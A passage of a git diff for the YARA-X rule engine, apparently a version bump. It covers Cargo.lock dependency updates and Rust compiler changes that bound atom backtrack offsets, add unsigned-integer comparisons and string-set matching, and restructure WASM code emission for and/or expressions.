"75eef0747e52dc545b075f64fd0e0cc237ae738e641266b1970e07e2d744bc32" +checksum = "b97b2c29c8f458bdf1b948058bfbb8141aad0f7abcf0f7cb3479866f4316bf3c" dependencies = [ - "cfg-if", "cranelift-codegen", "log", "object", @@ -2299,13 +2588,13 @@ dependencies = [ [[package]] name = "wasmtime-internal-versioned-export-macros" -version = "43.0.1" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d8b0a5dab02a8fb527f547855ecc0e05f9fdc3d5bd57b8b080349408f9a6cece" +checksum = "32766b38d56927eca9a65858ea8c7b1803424db82562aafd69727aa970057561" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] @@ -2329,12 +2618,65 @@ dependencies = [ "windows-sys 0.59.0", ] +[[package]] +name = "windows-core" +version = "0.62.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-link", + "windows-result", + "windows-strings", +] + +[[package]] +name = "windows-implement" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "windows-interface" +version = "0.59.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + [[package]] name = "windows-link" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" +[[package]] +name = "windows-result" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-strings" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091" +dependencies = [ + "windows-link", +] + [[package]] name = "windows-sys" version = "0.59.0" @@ -2499,6 +2841,18 @@ dependencies = [ "bitflags", ] +[[package]] +name = "wnaf" +version = "0.14.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "795ca18b3fdb5e62bf982199278341ddcf7ebf7d32e25e212ad05d496e95f6fa" +dependencies = [ + "ff", + "group", + "hybrid-array", + "primefield", +] + [[package]] name = "wyz" version = "0.5.1" @@ -2510,9 +2864,9 @@ dependencies = [ [[package]] name = "x509-parser" -version = "0.18.0" +version = "0.18.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eb3e137310115a65136898d2079f003ce33331a6c4b0d51f1531d1be082b6425" +checksum = "d43b0f71ce057da06bc0851b23ee24f3f86190b07203dd8f567d0b706a185202" dependencies = [ "asn1-rs", "data-encoding", @@ -2521,15 +2875,20 @@ dependencies = [ "nom 7.1.3", "oid-registry", "rusticata-macros", - "thiserror 2.0.18", + "thiserror 2.0.21", "time", ] +[[package]] +name = "yansi" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfe53a6657fd280eaa890a3bc59152892ffa3e30101319d168b781ed6529b049" + [[package]] name = "yara-x" -version = "1.15.0" +version = "1.22.1" dependencies = [ - "aho-corasick", "annotate-snippets", "anyhow", "base64", @@ -2539,18 +2898,20 @@ dependencies = [ "bstr", "const-oid", "crc32fast", + "daachorse", "der-parser", - "digest", + "digest 0.11.3", "dsa", "ecdsa", - "getrandom 0.2.17", + "flate2", + "getrandom 0.4.3", "globwalk", "hex", "indexmap", "intaglio", "inventory", "ipnet", - "itertools", + "itertools 0.15.0", "js-sys", "md-5", "md2", @@ -2570,16 +2931,17 @@ dependencies = [ "regex-syntax", "roxmltree", "rsa", - "rustc-hash 2.1.1", + "rustc-hash 2.1.3", "serde", "serde_json", "sha1", - "sha2", + "sha2 0.11.1", "simd-adler32", "simd_cesu8", "smallvec", "strum_macros", - "thiserror 2.0.18", + "thiserror 2.0.21", + "tinyzip", "uuid", "walrus", "wasm-bindgen", @@ -2601,56 +2963,40 @@ dependencies = [ [[package]] name = "yara-x-macros" -version = "1.15.0" +version = "1.22.1" dependencies = [ "darling", "proc-macro2", "quote", - "syn", + "syn 3.0.9", ] [[package]] name = "yara-x-parser" -version = "1.15.0" +version = "1.22.1" dependencies = [ "ascii_tree", "bitflags", "bstr", "indexmap", - "itertools", + "itertools 0.15.0", "logos", "num-traits", "rowan", - "rustc-hash 2.1.1", + "rustc-hash 2.1.3", "serde", ] [[package]] name = "yara-x-proto" -version = "1.15.0" +version = "1.22.1" dependencies = [ + "base64", + "chrono", + "itertools 0.15.0", "protobuf", "protobuf-codegen", -] - -[[package]] -name = "zerocopy" -version = "0.8.26" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1039dd0d3c310cf05de012d8a39ff557cb0d23087fd44cad61df08fc31907a2f" -dependencies = [ - "zerocopy-derive", -] - -[[package]] -name = "zerocopy-derive" -version = "0.8.26" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9ecf5b4cc5364572d7f4c329661bcc82724222973f2cab6f050a4e5c22f75181" -dependencies = [ - "proc-macro2", - "quote", - "syn", + "yansi", ] [[package]] @@ -2661,23 +3007,27 @@ checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde" [[package]] name = "zip" -version = "8.5.1" +version = "9.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dcab981e19633ebcf0b001ddd37dd802996098bc1864f90b7c5d970ce76c1d59" +checksum = "eaeb7f16d2605b49aef586996ded29e65642fab7259a3077e537351df6d80426" dependencies = [ "crc32fast", "flate2", + "getrandom 0.4.3", "indexmap", + "libc", "memchr", + "nix", "typed-path", + "windows-sys 0.61.2", "zopfli", ] [[package]] name = "zlib-rs" -version = "0.5.1" +version = "0.6.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "626bd9fa9734751fc50d6060752170984d7053f5a39061f524cda68023d4db8a" +checksum = "b268e58e7c693d7c271f93ffc4ba3b380412554231c85bf61ca7af91042a4112" [[package]] name = "zmij" diff --git a/lib/src/compiler/atoms/mod.rs b/lib/src/compiler/atoms/mod.rs index 46da20642..c6fd2c345 100644 --- a/lib/src/compiler/atoms/mod.rs +++ b/lib/src/compiler/atoms/mod.rs @@ -230,7 +230,10 @@ impl Atom { pub fn make_wide(mut self) -> Self { let atom_len = self.bytes.len(); - self.backtrack *= 2; + self.backtrack = self + .backtrack + .checked_mul(2) + .expect("wide atom backtrack exceeds u16::MAX"); self.bytes = self .bytes .into_iter() diff --git a/lib/src/compiler/atoms/quality.rs b/lib/src/compiler/atoms/quality.rs index cf853629a..3f029c8c8 100644 --- a/lib/src/compiler/atoms/quality.rs +++ b/lib/src/compiler/atoms/quality.rs @@ -389,9 +389,19 @@ impl Ord for AtomsQuality { } } +/// Maximum number of bytes considered when searching for the best atom in a +/// slice (`32 KiB`). +/// +/// [`Atom`] stores its backtrack offset as a `u16`, and [`Atom::make_wide`] +/// multiplies that offset by 2, so an atom's start offset must not exceed +/// `u16::MAX / 2` (`32,767`). Restricting the search to the first `32,768` +/// bytes guarantees that any non-empty range starts at `<= 32,767`. +const MAX_ATOM_SEARCH_BYTES: usize = 32768; + /// Returns the range for the best possible atom that can be extracted from /// the slice and its quality. pub(crate) fn best_range_in_bytes(bytes: &[u8]) -> (Range, i32) { + let bytes = &bytes[..min(bytes.len(), MAX_ATOM_SEARCH_BYTES)]; let mut best_quality = i32::MIN; let mut best_range = 0..0; @@ -416,7 +426,7 @@ pub(crate) fn best_range_in_masked_bytes( let mut finders: Vec = (1..=DESIRED_ATOM_SIZE).map(BestAtomFinder::new).collect(); - for (byte, mask) in zip(bytes, mask) { + for (byte, mask) in zip(bytes, mask).take(MAX_ATOM_SEARCH_BYTES) { for finder in &mut finders { finder.feed(*byte, *mask); } @@ -868,4 +878,46 @@ mod test { assert_eq!(finder_3.finalize(), (Some(1..4), 64)); assert_eq!(finder_4.finalize(), (Some(0..4), 51)); } + + #[test] + fn best_range_32k_limit() { + // High-quality bytes right at the end of the first 32 KiB (`32764..32768`) + // are selected. + let mut bytes = vec![b'a'; 32764]; + bytes.extend_from_slice(b"1234"); + let atom = atoms::best_atom_in_bytes(&bytes); + assert_eq!(atom.as_ref(), b"1234"); + assert_eq!(atom.backtrack(), 32764); + assert!(!atom.is_exact()); + + // High-quality bytes straddling the 32 KiB boundary (`32767..32771`): + // only `"aaa1"` (`32764..32768`) falls within the first 32 KiB. + let mut bytes = vec![b'a'; 32767]; + bytes.extend_from_slice(b"1234"); + let atom = atoms::best_atom_in_bytes(&bytes); + assert_eq!(atom.as_ref(), b"aaa1"); + assert_eq!(atom.backtrack(), 32764); + assert!(!atom.is_exact()); + + // High-quality bytes past 32 KiB (`32768..32772`) are ignored without + // panicking. + let mut bytes = vec![b'a'; 32768]; + bytes.extend_from_slice(b"1234"); + let atom = atoms::best_atom_in_bytes(&bytes); + assert_eq!(atom.as_ref(), b"aaaa"); + assert_eq!(atom.backtrack(), 0); + assert!(!atom.is_exact()); + + // Masked bytes also respect the 32 KiB (`32,768` bytes) limit: even a + // 1-byte atom right at byte `32767` has `backtrack == 32767 <= u16::MAX / 2`. + let mut masked_bytes = vec![0x00; 32767]; + let mut mask = vec![0x00; 32767]; + masked_bytes.extend_from_slice(&[0x01, 0x02, 0x03, 0x04]); + mask.extend_from_slice(&[0xff, 0xff, 0xff, 0xff]); + + let (range, _) = + atoms::best_range_in_masked_bytes(&masked_bytes, &mask); + assert_eq!(range, 32767..32768); + assert!(range.start <= (u16::MAX / 2) as usize); + } } diff --git a/lib/src/compiler/atoms/tests/mod.rs b/lib/src/compiler/atoms/tests/mod.rs index f8a7a8444..723605a57 100644 --- a/lib/src/compiler/atoms/tests/mod.rs +++ b/lib/src/compiler/atoms/tests/mod.rs @@ -69,6 +69,18 @@ fn make_wide() { assert_eq!(atom.bytes.as_slice(), &[0x01, 0x00, 0x02, 0x00, 0x03, 0x00]); assert_eq!(atom.backtrack, 4); + + let mut max_atom = Atom::exact([0x01_u8, 0x02]); + max_atom.set_backtrack(32767); + assert_eq!(max_atom.make_wide().backtrack, 65534); +} + +#[test] +#[should_panic(expected = "wide atom backtrack exceeds u16::MAX")] +fn make_wide_overflow() { + let mut atom = Atom::exact([0x01_u8, 0x02]); + atom.set_backtrack(32768); + let _ = atom.make_wide(); } fn check_atoms(pattern_src: &str, expected_atoms: I) diff --git a/lib/src/compiler/context.rs b/lib/src/compiler/context.rs index e7165ecae..e67aacd70 100644 --- a/lib/src/compiler/context.rs +++ b/lib/src/compiler/context.rs @@ -10,9 +10,11 @@ use yara_x_parser::ast::{Ident, WithSpan}; use crate::compiler::errors::{CompileError, UnknownPattern}; use crate::compiler::ir::{IR, PatternIdx}; use crate::compiler::report::ReportBuilder; -use crate::compiler::{RegexId, RegexSetId, Warnings, ir}; +use crate::compiler::{ + LiteralId, LiteralSetId, RegexId, RegexSetId, Warnings, ir, +}; use crate::errors::{UnknownField, UnknownIdentifier}; -use crate::string_pool::StringPool; +use crate::string_pool::{BStringPool, StringPool}; use crate::symbols::{StackedSymbolTable, Symbol, SymbolLookup}; use crate::types::Type; use crate::wasm; @@ -71,6 +73,13 @@ pub(crate) struct CompileContext<'a, 'src> { /// Pool for regular expressions. pub regex_pool: &'a mut StringPool, + + /// Grouped LiteralSets constructed during IR creation for or-expressions. + pub literal_sets: + &'a mut rustc_hash::FxHashMap>, + + /// Pool for string literals. + pub literal_pool: &'a mut BStringPool, } impl<'src> CompileContext<'_, 'src> { diff --git a/lib/src/compiler/emit.rs b/lib/src/compiler/emit.rs index 891b5e540..01d401a2f 100644 --- a/lib/src/compiler/emit.rs +++ b/lib/src/compiler/emit.rs @@ -7,12 +7,12 @@ expressions or language constructs. */ use std::collections::VecDeque; -use std::mem::size_of; +use std::mem::{self, size_of}; use std::ops::RangeInclusive; use std::rc::Rc; use bstr::ByteSlice; -use itertools::{Itertools, Position}; +use itertools::Itertools; use rustc_hash::FxHashMap; use walrus::ValType::{I32, I64}; use walrus::ir::ExtendedLoad::ZeroExtend; @@ -59,7 +59,7 @@ macro_rules! emit_operands { // If the left operand is integer, but the right one is float, // convert the left operand to float. if lhs_type == Type::Integer && rhs_type == Type::Float { - $instr.unop(UnaryOp::F64ConvertSI64); + $instr.unop(int_to_float_op($ir, lhs)); lhs_type = Type::Float; } @@ -73,7 +73,7 @@ macro_rules! emit_operands { // If the right operand is integer, but the left one is float, // convert the right operand to float. if lhs_type == Type::Float && rhs_type == Type::Integer { - $instr.unop(UnaryOp::F64ConvertSI64); + $instr.unop(int_to_float_op($ir, rhs)); rhs_type = Type::Float; } @@ -94,14 +94,14 @@ macro_rules! emit_arithmetic_op { emit_expr($ctx, $ir, *first_operand, $instr); if $is_float && matches!($ir.get(*first_operand).ty(), Type::Integer) { - $instr.unop(UnaryOp::F64ConvertSI64); + $instr.unop(int_to_float_op($ir, *first_operand)); } while let Some(operand) = operands.next() { emit_expr($ctx, $ir, *operand, $instr); if $is_float { if matches!($ir.get(*operand).ty(), Type::Integer) { - $instr.unop(UnaryOp::F64ConvertSI64); + $instr.unop(int_to_float_op($ir, *operand)); } $instr.binop(BinaryOp::$float_op); } else { @@ -111,13 +111,25 @@ macro_rules! emit_arithmetic_op { }}; } +/// Emits the code for a comparison operation. macro_rules! emit_comparison_op { ($ctx:ident, $ir:ident, $lhs:expr, $rhs:expr, $int_op:tt, $float_op:tt, $str_op:expr, $instr:ident) => {{ - match emit_operands!($ctx, $ir, $lhs, $rhs, $instr) { + let lhs = $lhs; + let rhs = $rhs; + match emit_operands!($ctx, $ir, lhs, rhs, $instr) { (Type::Integer, Type::Integer) - | (Type::Bool, Type::Bool) | (Type::Bool, Type::Integer) | (Type::Integer, Type::Bool) => { + emit_int_comparison( + $ctx, + $ir, + lhs, + rhs, + BinaryOp::$int_op, + $instr, + ); + } + (Type::Bool, Type::Bool) => { $instr.binop(BinaryOp::$int_op); } (Type::Float, Type::Float) => { @@ -133,7 +145,9 @@ macro_rules! emit_comparison_op { macro_rules! emit_shift_op { ($ctx:ident, $ir:ident, $lhs:expr, $rhs:expr, $int_op:tt, $instr:ident) => {{ - match emit_operands!($ctx, $ir, $lhs, $rhs, $instr) { + let lhs = $lhs; + let rhs = $rhs; + match emit_operands!($ctx, $ir, lhs, rhs, $instr) { (Type::Integer, Type::Integer) => { // When the left operand is >= 64, shift operations don't // behave in the same way in WebAssembly and YARA. In YARA, @@ -158,22 +172,19 @@ macro_rules! emit_shift_op { // else // push 0 // - $instr.local_set($ctx.wasm_symbols.i64_tmp_b); - $instr.local_set($ctx.wasm_symbols.i64_tmp_a); + $instr.local_tee($ctx.wasm_symbols.i64_tmp_b); + $instr.binop(BinaryOp::$int_op); + $instr.i64_const(0); $instr.local_get($ctx.wasm_symbols.i64_tmp_b); $instr.i64_const(64); - $instr.binop(BinaryOp::I64LtS); - $instr.if_else( - I64, - |then_| { - then_.local_get($ctx.wasm_symbols.i64_tmp_a); - then_.local_get($ctx.wasm_symbols.i64_tmp_b); - then_.binop(BinaryOp::$int_op); - }, - |else_| { - else_.i64_const(0); - }, - ) + // If the shift amount is unsigned, it must be compared as + // unsigned, values >= 2^63 would be negative otherwise. + if $ir.get(rhs).type_value().is_unsigned() { + $instr.binop(BinaryOp::I64LtU); + } else { + $instr.binop(BinaryOp::I64LtS); + } + $instr.select(None) } _ => unreachable!(), }; @@ -189,7 +200,18 @@ macro_rules! emit_bitwise_op { }}; } -type ExceptionHandler = Box; +/// Function that generates the `catch` block of exception handlers. +type Catch = dyn Fn(&mut EmitContext, &mut InstrSeqBuilder); + +pub(crate) struct ExceptionHandler { + /// ID of the block to jump out of when an exception occurs. + block_id: InstrSeqId, + /// Closure executed before jumping out of `block_id`. + catch: Box, + /// True if `throw_undef` or `throw_undef_if_non_zero` was called for this + /// handler. + used: bool, +} /// Structure that contains information used while emitting the code that /// corresponds to the condition of a YARA rule. @@ -211,9 +233,11 @@ pub(crate) struct EmitContext<'a> { pub lit_pool: &'a mut BStringPool, /// Stack of installed exception handlers for catching undefined values. - /// When an exception occurs the execution flow will jump out of the block - /// identified by `InstrSeqId`. - pub exception_handler_stack: Vec<(InstrSeqId, ExceptionHandler)>, + pub exception_handler_stack: Vec, + + /// Variables currently in scope whose initializer may have thrown an + /// undefined value exception. + pub(crate) vars_with_undef: Vec, /// Controls whether [emit_lazy_call_to_search_for_patterns] needs to emit /// code or not. @@ -263,27 +287,26 @@ pub(crate) fn emit_rule_condition( rule_id: RuleId, condition: ExprId, builder: &mut WasmModuleBuilder, -) { - let mut instr = builder.start_rule(rule_id, ctx.current_rule.is_global); - - ctx.emit_search_for_pattern_stack.push(true); +) -> Result<(), wasm::builder::Error> { + builder.emit_rule(rule_id, ctx.current_rule.is_global, |instr| { + ctx.emit_search_for_pattern_stack.push(true); - // Emit WASM code for the rule's condition. - catch_undef( - ctx, - I32, - &mut instr, - |ctx, instr| { - emit_bool_expr(ctx, ir, condition, instr); - }, - |_, instr| { - instr.i32_const(0); - }, - ); + // Emit WASM code for the rule's condition. + catch_undef( + ctx, + I32, + instr, + |ctx, instr| { + emit_bool_expr(ctx, ir, condition, instr); + }, + |_, instr| { + instr.i32_const(0); + }, + ); - ctx.emit_search_for_pattern_stack.pop(); - assert!(ctx.emit_search_for_pattern_stack.is_empty()); - builder.finish_rule(); + ctx.emit_search_for_pattern_stack.pop(); + assert!(ctx.emit_search_for_pattern_stack.is_empty()); + }) } /// Emits WASM code for `expr` into the instruction sequence `instr`. @@ -295,8 +318,15 @@ fn emit_expr( ) { match ir.get(expr) { Expr::Const(type_value) => match type_value { - TypeValue::Integer { value: Const(value), .. } => { - instr.i64_const(*value); + TypeValue::Int8(_) + | TypeValue::Int16(_) + | TypeValue::Int32(_) + | TypeValue::Int64(_) + | TypeValue::Uint8(_) + | TypeValue::Uint16(_) + | TypeValue::Uint32(_) + | TypeValue::Uint64(_) => { + instr.i64_const(type_value.as_integer()); } TypeValue::Float { value: Const(value) } => { instr.f64_const(*value); @@ -331,14 +361,13 @@ fn emit_expr( instr.binop(BinaryOp::I64LtS); // Is filesize < 0? instr.if_else( - I64, + None, // If yes, filesize is undefined |then_| throw_undef(ctx, then_), - // Otherwise return its value - |else_| { - else_.local_get(tmp); - }, + |_| {}, ); + // Otherwise return its value + instr.local_get(tmp); } Expr::Symbol(symbol) => { @@ -359,7 +388,14 @@ fn emit_expr( let index: i32 = (*index).try_into().unwrap(); match type_value { - TypeValue::Integer { .. } => { + TypeValue::Int8(_) + | TypeValue::Int16(_) + | TypeValue::Int32(_) + | TypeValue::Int64(_) + | TypeValue::Uint8(_) + | TypeValue::Uint16(_) + | TypeValue::Uint32(_) + | TypeValue::Uint64(_) => { ctx.lookup_list.push((index, *is_root)); emit_lookup_integer(ctx, instr); assert!(ctx.lookup_list.is_empty()); @@ -477,24 +513,24 @@ fn emit_expr( instr.binop(BinaryOp::I64Sub); } } - Expr::BitwiseNot { operand } => { + Expr::BitwiseNot { operand, .. } => { emit_expr(ctx, ir, *operand, instr); // WebAssembly does not have an instruction for bitwise not, // it is implemented as i64.xor(x, -1) instr.i64_const(-1); instr.binop(BinaryOp::I64Xor); } - Expr::Add { operands, is_float } => { + Expr::Add { operands, is_float, .. } => { emit_arithmetic_op!( ctx, ir, operands, *is_float, I64Add, F64Add, instr ); } - Expr::Sub { operands, is_float } => { + Expr::Sub { operands, is_float, .. } => { emit_arithmetic_op!( ctx, ir, operands, *is_float, I64Sub, F64Sub, instr ); } - Expr::Mul { operands, is_float } => { + Expr::Mul { operands, is_float, .. } => { emit_arithmetic_op!( ctx, ir, operands, *is_float, I64Mul, F64Mul, instr ); @@ -502,22 +538,25 @@ fn emit_expr( Expr::Div { operands, .. } => { emit_div(ctx, ir, operands.as_slice(), instr) } - Expr::Mod { operands } => { + Expr::Mod { operands, .. } => { emit_mod(ctx, ir, operands.as_slice(), instr) } - Expr::Shl { lhs, rhs } => { + Expr::Shl { lhs, rhs, .. } => { emit_shift_op!(ctx, ir, *lhs, *rhs, I64Shl, instr); } - Expr::Shr { lhs, rhs } => { + Expr::Shr { lhs, rhs, is_unsigned: false } => { emit_shift_op!(ctx, ir, *lhs, *rhs, I64ShrS, instr); } - Expr::BitwiseAnd { lhs, rhs } => { + Expr::Shr { lhs, rhs, is_unsigned: true } => { + emit_shift_op!(ctx, ir, *lhs, *rhs, I64ShrU, instr); + } + Expr::BitwiseAnd { lhs, rhs, .. } => { emit_bitwise_op!(ctx, ir, *lhs, *rhs, I64And, instr); } - Expr::BitwiseOr { lhs, rhs } => { + Expr::BitwiseOr { lhs, rhs, .. } => { emit_bitwise_op!(ctx, ir, *lhs, *rhs, I64Or, instr); } - Expr::BitwiseXor { lhs, rhs } => { + Expr::BitwiseXor { lhs, rhs, .. } => { emit_bitwise_op!(ctx, ir, *lhs, *rhs, I64Xor, instr); } Expr::Eq { lhs, rhs } => { @@ -647,6 +686,65 @@ fn emit_expr( wasm::export__str_matches_regex_set.mangled_name, )); } + Expr::EqMany { lhs, literal_set } => { + emit_expr(ctx, ir, *lhs, instr); + instr.i32_const((*literal_set).into()); + instr + .call(ctx.function_id(wasm::export__str_eq_many.mangled_name)); + } + Expr::IEqualsMany { lhs, literal_set } => { + emit_expr(ctx, ir, *lhs, instr); + instr.i32_const((*literal_set).into()); + instr.call( + ctx.function_id(wasm::export__str_iequals_many.mangled_name), + ); + } + Expr::ContainsMany { lhs, literal_set } => { + emit_expr(ctx, ir, *lhs, instr); + instr.i32_const((*literal_set).into()); + instr.call( + ctx.function_id(wasm::export__str_contains_many.mangled_name), + ); + } + Expr::IContainsMany { lhs, literal_set } => { + emit_expr(ctx, ir, *lhs, instr); + instr.i32_const((*literal_set).into()); + instr.call( + ctx.function_id(wasm::export__str_icontains_many.mangled_name), + ); + } + Expr::StartsWithMany { lhs, literal_set } => { + emit_expr(ctx, ir, *lhs, instr); + instr.i32_const((*literal_set).into()); + instr.call( + ctx.function_id( + wasm::export__str_startswith_many.mangled_name, + ), + ); + } + Expr::IStartsWithMany { lhs, literal_set } => { + emit_expr(ctx, ir, *lhs, instr); + instr.i32_const((*literal_set).into()); + instr.call( + ctx.function_id( + wasm::export__str_istartswith_many.mangled_name, + ), + ); + } + Expr::EndsWithMany { lhs, literal_set } => { + emit_expr(ctx, ir, *lhs, instr); + instr.i32_const((*literal_set).into()); + instr.call( + ctx.function_id(wasm::export__str_endswith_many.mangled_name), + ); + } + Expr::IEndsWithMany { lhs, literal_set } => { + emit_expr(ctx, ir, *lhs, instr); + instr.i32_const((*literal_set).into()); + instr.call( + ctx.function_id(wasm::export__str_iendswith_many.mangled_name), + ); + } Expr::Lookup(lookup) => { // Emit code for the primary expression (array or map) that is @@ -776,49 +874,64 @@ fn emit_and( operands: &[ExprId], instr: &mut InstrSeqBuilder, ) { + if operands.len() == 1 { + catch_undef( + ctx, + I32, + instr, + |ctx, instr| { + emit_bool_expr(ctx, ir, operands[0], instr); + }, + |_, instr| { + instr.i32_const(0); + }, + ); + return; + } + // The `and` expression is emitted as: // - // try { - // result = first_operand() - // if !result { - // push false - // exit from try - // } - // result = second_operand() - // if !result { - // push false - // exit from try - // } - // ... - // push last_operand() - // } - // catch undefined { - // push false - // } - catch_undef( - ctx, - I32, - instr, - |ctx, instr| { - let block_id = instr.id(); - for (position, operand) in operands.iter().with_position() { - emit_bool_expr(ctx, ir, *operand, instr); - // For all operands except the last one, check the result - // and exit early from the block if it is false. - if matches!(position, Position::First | Position::Middle) { - instr.if_else( - None, - |_| {}, - |else_| { - else_.i32_const(0); - else_.br(block_id); - }, - ); - } - } - }, - |_, instr| { - instr.i32_const(0); // push false + // block $and_end (result i32) { + // try { + // result = first_operand() + // if !result { + // exit from try + // } + // result = second_operand() + // if !result { + // exit from try + // } + // ... + // push last_operand() + // br $and_end + // } catch undefined { + // } + // push false + // } + instr.block( + I32, // the block returns a bool + |block| { + let and_end = block.id(); + catch_undef( + ctx, + None, + block, + |ctx, instr| { + for (position, operand) in operands.iter().with_position() + { + emit_bool_expr(ctx, ir, *operand, instr); + // For all operands except the last one, check the result + // and exit early from the block if it is false. + if !position.is_last { + instr.unop(UnaryOp::I32Eqz); + throw_undef_if_non_zero(ctx, instr); + } + } + instr.br(and_end); + }, + |_, _| {}, + ); + block.i32_const(0); // push false }, ); } @@ -830,68 +943,148 @@ fn emit_or( operands: &[ExprId], instr: &mut InstrSeqBuilder, ) { + if operands.len() == 1 { + catch_undef( + ctx, + I32, + instr, + |ctx, instr| { + emit_bool_expr(ctx, ir, operands[0], instr); + }, + |_, instr| { + instr.i32_const(0); + }, + ); + return; + } + // The `or` expression is emitted as: // - // block { - // try { - // result = first_operand() - // } catch undefined { - // result = false - // } - // if result { - // push true - // exit from block - // } - // try { - // result = second_operand() - // } catch undefined { - // result = false - // } - // if result { - // push true - // exit from block - // } - // ... - // try { - // result = last_operand() - // } catch undefined { - // result = false + // block $or_end (result i32) { + // block $or_true { + // try { + // if first_operand() { + // br $or_true + // } + // } catch undefined {} + // try { + // if second_operand() { + // br $or_true + // } + // } catch undefined {} + // ... + // push false + // br $or_end // } - // result + // push true // } instr.block( I32, // the block returns a bool |block| { - let block_id = block.id(); - for (position, operand) in operands.iter().with_position() { - catch_undef( - ctx, - I32, - block, - |ctx, instr| { - emit_bool_expr(ctx, ir, *operand, instr); - }, - |_, instr| { - instr.i32_const(0); - }, - ); - // For all operands except the last one, check the result - // and exit early from the block if it is true. - if matches!(position, Position::First | Position::Middle) { - block.if_else( + let or_end = block.id(); + block.block(None, |or_true_block| { + let or_true = or_true_block.id(); + for operand in operands.iter() { + catch_undef( + ctx, None, - |then_| { - then_.i32_const(1); - then_.br(block_id); + or_true_block, + |ctx, instr| { + emit_bool_expr(ctx, ir, *operand, instr); + instr.br_if(or_true); }, - |_| {}, + |_, _| {}, ); } - } + or_true_block.i32_const(0); + or_true_block.br(or_end); + }); + block.i32_const(1); }, ); } +/// Returns the instruction that converts the integer produced by `expr` +/// to float, taking into account the signedness of the integer. +fn int_to_float_op(ir: &IR, expr: ExprId) -> UnaryOp { + if ir.get(expr).type_value().is_unsigned() { + UnaryOp::F64ConvertUI64 + } else { + UnaryOp::F64ConvertSI64 + } +} + +/// Emits the code that compares the integers (or booleans) produced by `lhs` +/// and `rhs`. +/// +/// Both operands must be at the top of the stack, the left operand first. +fn emit_int_comparison( + ctx: &mut EmitContext, + ir: &IR, + lhs: ExprId, + rhs: ExprId, + signed_op: BinaryOp, + instr: &mut InstrSeqBuilder, +) { + let lhs = ir.get(lhs).type_value(); + let rhs = ir.get(rhs).type_value(); + + let (unsigned_op, result_if_negative) = match signed_op { + BinaryOp::I64Eq => (BinaryOp::I64Eq, false), + BinaryOp::I64Ne => (BinaryOp::I64Ne, true), + BinaryOp::I64LtS => (BinaryOp::I64LtU, !lhs.is_unsigned()), + BinaryOp::I64LeS => (BinaryOp::I64LeU, !lhs.is_unsigned()), + BinaryOp::I64GtS => (BinaryOp::I64GtU, !rhs.is_unsigned()), + BinaryOp::I64GeS => (BinaryOp::I64GeU, !rhs.is_unsigned()), + _ => unreachable!(), + }; + + // Booleans and non-negative integers can be compared with both signed + // and unsigned integers. + let non_negative = |tv: &TypeValue| { + matches!(tv, TypeValue::Bool { .. }) || tv.is_non_negative() + }; + + match (lhs.is_unsigned(), rhs.is_unsigned()) { + (false, false) => { + instr.binop(signed_op); + } + (true, true) => { + instr.binop(unsigned_op); + } + (true, false) if non_negative(&rhs) => { + instr.binop(unsigned_op); + } + (false, true) if non_negative(&lhs) => { + instr.binop(unsigned_op); + } + // One operand is signed (and may be negative at runtime) and the + // other one is unsigned. If the signed operand is negative, the + // comparison result is known without comparing the bit patterns, + // because any negative integer is smaller than any unsigned integer. + (false, true) | (true, false) => { + let signed_is_lhs = !lhs.is_unsigned(); + let lhs_tmp = ctx.wasm_symbols.i64_tmp_a; + let rhs_tmp = ctx.wasm_symbols.i64_tmp_b; + + instr.local_set(rhs_tmp); + instr.local_tee(lhs_tmp); + instr.local_get(rhs_tmp); + instr.binop(unsigned_op); + + instr.local_get(if signed_is_lhs { lhs_tmp } else { rhs_tmp }); + instr.i64_const(0); + if result_if_negative { + instr.binop(BinaryOp::I64LtS); + instr.binop(BinaryOp::I32Or); + } else { + instr.binop(BinaryOp::I64GeS); + instr.binop(BinaryOp::I32And); + } + } + } +} + /// Emits the code for `div` operations. fn emit_div( ctx: &mut EmitContext, @@ -899,34 +1092,74 @@ fn emit_div( operands: &[ExprId], instr: &mut InstrSeqBuilder, ) { - let mut operands = operands.iter(); - let first_operand = operands.next().unwrap(); + let first_operand = operands.first().unwrap(); let mut is_float = matches!(ir.get(*first_operand).ty(), Type::Float); emit_expr(ctx, ir, *first_operand, instr); - for operand in operands { + for (i, operand) in operands.iter().enumerate().skip(1) { let operand_ty = ir.get(*operand).ty(); // The previous operand is not float but this one is float, - // we must convert the previous operand to float. + // we must convert the previous operand to float. The previous + // operand is the result of dividing all the operands before + // this one. if !is_float && matches!(operand_ty, Type::Float) { - instr.unop(UnaryOp::F64ConvertSI64); + if ir.is_unsigned_result(&operands[..i]) { + instr.unop(UnaryOp::F64ConvertUI64); + } else { + instr.unop(UnaryOp::F64ConvertSI64); + } is_float = true; } emit_expr(ctx, ir, *operand, instr); if is_float && matches!(operand_ty, Type::Integer) { - 